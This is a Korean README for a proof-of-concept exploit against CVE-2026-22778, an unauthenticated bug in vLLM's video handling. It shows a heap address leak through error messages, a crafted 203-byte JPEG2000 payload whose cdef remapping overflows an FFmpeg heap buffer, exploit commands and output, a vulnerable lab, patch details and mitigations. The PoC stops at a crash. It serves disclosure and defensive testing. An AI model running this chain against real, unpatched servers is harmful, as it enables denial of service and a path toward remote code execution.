CVE-2026-22778에 대한 개념 증명 익스플로잇으로, vLLM의 비디오 처리에서 발생하는 인증되지 않은 RCE이며, FFmpeg의 JPEG2000 디코더에서 힙 주소 노출과 힙 버퍼 오버플로우를 시연합니다. 승인된 테스트를 위한 취약한 실습 환경을 포함합니다.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| 영향 범위 | vLLM >= 0.8.3, < 0.14.1 (비디오 모델을 서빙하는 배포 환경) |
| 수정 버전 | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 근본 원인 | CVE-2025-9951 — FFmpeg JPEG2000 디코더의 힙 버퍼 오버플로 |
두 개의 개별 결함이 연결되어 발생합니다. 기본 vllm serve에는 인증이 없으므로 두 결함 모두 인증 없이 /v1/chat/completions 및 /v1/invocations 엔드포인트에 도달할 수 있습니다.
이미지 파싱에 실패하면 Pillow는 읽고 있던 BytesIO 객체의 repr()이 포함된 메시지와 함께 예외를 발생시킵니다:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM은 미디어 로딩 실패를 HTTP 400으로 변환하고 exc.detail을 수정 없이 클라이언트에 반환했습니다
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- 주소를 그대로 노출
...
이 단일 주소는 힙 ASLR의 엔트로피를 약 32비트에서 대략 3비트로 줄이며, 이는 2단계를 단순한 크래시가 아닌 악용 가능한 상태로 만드는 핵심입니다.
video_url은 서버에 의해 가져와져 OpenCV에 전달됩니다:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (opencv-python-headless < 4.13에 번들됨)
vLLM은 FFmpeg 5.1.x가 포함된 opencv-python-headless >= 4.11.0을 고정(pin)했습니다. 해당 버전의 JPEG2000 디코더는 파일의 채널 정의(cdef) 박스에서 직접 대상 평면(plane)을 선택합니다 — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* 컴포넌트에서 가져옴 */
int h = tile->comp[compno].coord[1][1] - ...; /* 평면에서 가져오지 않음! */
plane은 공격자가 제어할 수 있지만 w/h는 디코딩 중인 컴포넌트에서 가져오며, 한쪽이 다른 쪽에 맞는지 확인하는 검사가 없습니다. cn=0, asoc=2인 cdef 항목은 컴포넌트 0(전체 해상도 휘도 평면)을 평면 1(2×2 서브샘플링된 색차 평면)로 보냅니다.
이 PoC가 사용하는 150×64 프레임의 경우:
| 크기 | |
|---|---|
| Y 컴포넌트(쓰기) | 150 × 64 = 9,600 바이트 |
| U 평면(대상) | 75 × 32 = 2,400 바이트 |
| 오버플로 | 할당 영역을 7,200 바이트 초과 |
FFmpeg는 각 평면을 별도의 AVBuffer로 할당하므로 오버플로는 인접한 힙 청크를 통과합니다 — 여기에는 free 함수 포인터를 보유한 AVBuffer 구조체도 포함됩니다. 1단계의 메모리 누출과 결합하여 해당 포인터를 덮어쓰는 것이 메모리 손상을 코드 실행으로 전환하는 방법입니다.
이 PoC는 메모리 손상 단계에서 멈춥니다. 서버 프로세스를 종료하여 경계를 벗어난 쓰기를 증명합니다. 힙 그루밍과 함수 포인터 덮어쓰기는 의도적으로 구현하지 않았습니다.
lab/app.py는 vLLM 0.13.0의 멀티모달 입력 처리 경로를 최소한으로 재구현한 것입니다 — MediaConnector, ImageMediaIO, OpenCVVideoBackend 및 패치 이전의 오류 처리기로, 각각 미러링하는 업스트림 파일에 대한 주석이 포함되어 있습니다. 모델 런타임은 스텁(stub) 처리되어 있습니다: 취약점은 추론 이전에 실행되는 미디어 입력 처리에 전적으로 존재하며 GPU나 모델 가중치가 필요하지 않습니다.
공격 경로의 모든 요소는 실제 구성 요소입니다 — 주소를 누출하는 동일한 Pillow 호출과 패치되지 않은 opencv-python-headless==4.11.0.86(FFmpeg 5.1.x, libavcodec 59.37.100)에 대한 동일한 cv2.VideoCapture 호출입니다.
docker compose up -d --build
python3 exploit.py
옵션:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # 페이로드를 HTTP로 전달
python3 exploit.py --write-payload evil.jp2 # 악성 파일만 생성
익스플로잇은 순수 표준 라이브러리만 사용합니다 — 추가 의존성이 없습니다.
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
서버 측 로그:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
정리:
docker compose down
build_payload()에서 처음부터 구축한 203바이트입니다. 4:2:0 서브샘플링으로 세 개의 컴포넌트를 선언하는 최소 JPEG2000 코덱스트림(FFmpeg가 yuv420p 프레임을 할당하도록)을 포함하는 JP2 컨테이너와, 이를 재매핑하는 cdef 박스로 구성됩니다:
cn=0, typ=0, asoc=2 <-- 컴포넌트 0(전체 해상도)을 평면 1(서브샘플링)로
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
계수 데이터는 비어 있습니다. 디코더는 여전히 SIZ 헤더에서 프레임을 할당하고 쓰기 루프를 실행하므로 실제 이미지 데이터가 필요하지 않습니다.
vLLM 0.14.1에서 세 개의 PR을 통해 수정되었습니다:
업스트림 FFmpeg는 이제 채널의 순열(permutation)이 아닌 cdef 맵을 거부하고, 재매핑된 인덱스에서 픽셀 형식을 파생합니다:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
실습 환경의 고정 버전을 opencv-python-headless>=4.13.0으로 변경하면 동일한 페이로드가 error during processing marker segment ff51 오류와 함께 무해하게 실패합니다.
업그레이드할 수 없는 경우: 비디오 모델을 서빙하지 말고, API 앞에 인증을 배치하며, --allowed-media-domains로 미디어 가져오기를 제한하세요.
docker compose가 기본값인 네이티브 arm64 아키텍처로 빌드하도록 하세요. --platform linux/amd64를 강제하면 컨테이너가 에뮬레이션으로 실행되어 중단 프로세스가 종료되지 않고 멈추므로 크래시를 관찰하기 어렵습니다.교육 및 승인된 보안 테스트 전용입니다. 이 저장소의 실습 환경 또는 테스트에 대한 명시적 권한이 있는 시스템에 대해서만 실행하세요.